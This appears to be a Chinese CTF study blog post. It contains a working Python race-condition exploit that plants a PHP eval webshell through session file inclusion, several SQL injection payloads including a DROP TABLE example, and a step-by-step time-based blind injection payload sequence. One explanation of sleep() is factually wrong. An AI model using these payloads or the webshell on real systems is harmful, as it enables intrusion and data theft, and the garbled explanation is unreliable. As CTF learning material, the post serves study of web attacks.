时间盲注

目录

ctfshow web82 

​编辑 sql语句中1' or ' 1 '=' 1的意思

时间盲注

相关函数

注入原理:

相关步骤

[极客大挑战 2019]Secret File

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Knife


ctfshow web82 

参考:ctfshow 文件包含_ctfshow文件包含_安好.791的博客-CSDN博客

import requests
import io
import threading
 
url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'     
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}
 
 
#为了进行条件竞争,需要一边写一边读
 
#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
	fileBytes = io.BytesIO(b'a'*1024*50)          #生产一个50k的文件
	while True:
		response=session.post(url,
			data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
			cookies={'PHPSESSID':sessionid},
			files={'file':('ctfshow.jpg',fileBytes)}    #设置文件名字和内容
			)
 
 
 
#读取session文件,这里文件为/tmp/sess_ctfshow
 
def read(session):
	while True:
		response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
		response2=session.get(url+'tao.php');
		if response2.status_code==200:
			print('++++++++++++++++++++')
		else:
			print(response2.status_code)
 
 
 
if __name__=='__main__':
 
	#开启多线程进行竞争	
	evnet=threading.Event()
	with requests.session() as session:			
		for i in range(20):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(20):
			threading.Thread(target=read,args=(session,)).start()
	evnet.set()

sql语句中1' or ' 1 '=' 1的意思

这个 SQL 语句可能是一条简单的注入攻击,意图是欺骗数据库执行者并让其执行恶意代码。

具体来说,这个 SQL 语句包含了一个条件 ' 1 '=' 1',它总是成立(因为 1 等于 1),因此可以被用作查询语句中的一个条件。在其他情况下,攻击者还可能会尝试使用类似的语句进行注入攻击,例如:

  • ' or 1=1 --: 这个语句使用 SQL 注释符 -- 让后面的内容被视为注释,从而使查询始终返回 true 条件,并忽略后面的任何语句。
  • '; DROP TABLE users; --: 这个语句使用分号和 SQL 注释符将两个 SQL 语句连接起来,第一个语句可能是合法的查询语句,而第二个语句则是删除 users 表的语句,攻击者试图利用这个语句来删除数据库中的表。

为了避免 SQL 注入攻击,应该对用户输入进行严格的验证和过滤,并使用参数化查询或预处理语句来执行 SQL 命令。这样可以确保输入的数据不会被误解释为 SQL 命令的一部分,从而防止注入攻击。

时间盲注

在 SQL 语句中,没有 sleep() 函数可以直接使用。然而,在某些情况下,攻击者可能会利用数据库的一些漏洞或注入攻击技术,在 SQL 查询中注入类似 SLEEP(5) 的语句来实现延迟效果。

具体来说,攻击者可能会将类似 1; SELECT SLEEP(5); -- 这样的 SQL 查询语句注入到目标应用程序中,以此来使查询执行停顿 5 秒钟。这是因为在这个查询语句中,SELECT SLEEP(5) 只是一段注释后面的无效代码,而前面的 1 条件总是为 true,从而让整条查询语句执行成功。

时间盲注:主要是利用页面响应时间延时来判断

相关函数

sleep(n):延迟n秒

benchmark(count,expr):可测试某些特定操作的执行速度。count指的是执行次数,expr表达式,表示重复计算表达式count次,评估执行表达式的效率。

benchmark函数只有在查询有结果时,才会执行产生延时。

expr表达式必须返回是单个值

if(condition,expr1,expr2):判断函数,如果condition为真,则expr1,否则执行expr2,使用该函数辅助盲注判断。

注入原理:

借助延迟时间函数和判断函数,判断猜测的表达式的值是否正确,正确则延时响应,否则不延时响应

相关步骤

id=1' and if(1=1,sleep(3),1)--+

 说明if后被执行了,延时了3秒

说明if后没被执行

1' and if(length(database())=1,sleep(3),1)--+

数据库的长度从1开始试,最后发现数据库的长度为8

 然后

1' and if(ascii(substr(database(),1,1)) = 115,sleep(3),1) --+

尝试利用ascii值得到数据库名称。

1' and if((select count(table_name) from information_schema.TABLES WHERE TABLE_SCHEMA='security') = 1,sleep(3),1)--+

一个一个的尝试得到表的个数。

length((select table_name from information_schema.tables where table_schema='security')) = 猜测的数据表名的长度值

 ascii(substr((select table_name from information_schema.tables where table_schema= 'security' limit 1),1,1)) = 猜测的数据表名某一位字符的ASCII码值

(select count(*) from information_schema.columns where table_schema='security' and table_name = 'emails') = 猜测的数据表的字段个数值 

length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1)) = 猜测的数据表某个字段的长度值 

 ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1 offset 0),1,1)) = 猜测数据表名某个字段的ASCII码值

(select count(1) from security.emails) = 猜测的数据表的字段的个数值

这个 SQL 查询语句的作用是统计 security.emails 表中的记录数量,并返回结果。

具体来说,这个查询语句使用了 SELECT COUNT(1) 的语法。COUNT() 是一个聚合函数,它用于对指定的列进行统计。而在这个语句中,使用了 COUNT(1) 的形式,其中的 1 可以是任何非 NULL 值,因为 COUNT() 函数只会对非 NULL 的值进行计数。因此,在这个查询语句中,COUNT(1) 表示对表中所有的行进行计数。

需要注意的是,虽然在实际的查询过程中,使用 COUNT(*)COUNT(1) 都可以得到相同的结果,但是在某些数据库系统中,两者的执行效率可能不同。一般来说,使用 COUNT(1) 更快一些,因为它只需要进行简单的整数计算,而不需要读取表中的数据。

 length((select * from security.emails limit 1 offset 0)) = 猜测的数据表字段的长度值

 ascii(substr((select security.emails limit 1 offset 0), 1, 1)) = 猜测的数据表字段值的某个字符的ASCII码值

以上是手工爆破,推荐使用脚本或工具。

[极客大挑战 2019]Secret File

先查看页面源代码,发现访问一下。

 

点一下,然后抓个包,发现另一个php文件。

 <html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

根据源码,我们不能通过目录穿越,也不能出现tp,input,data等字符

base64解密

[极客大挑战 2019]LoveSQL

按sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据

[极客大挑战 2019]Knife

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值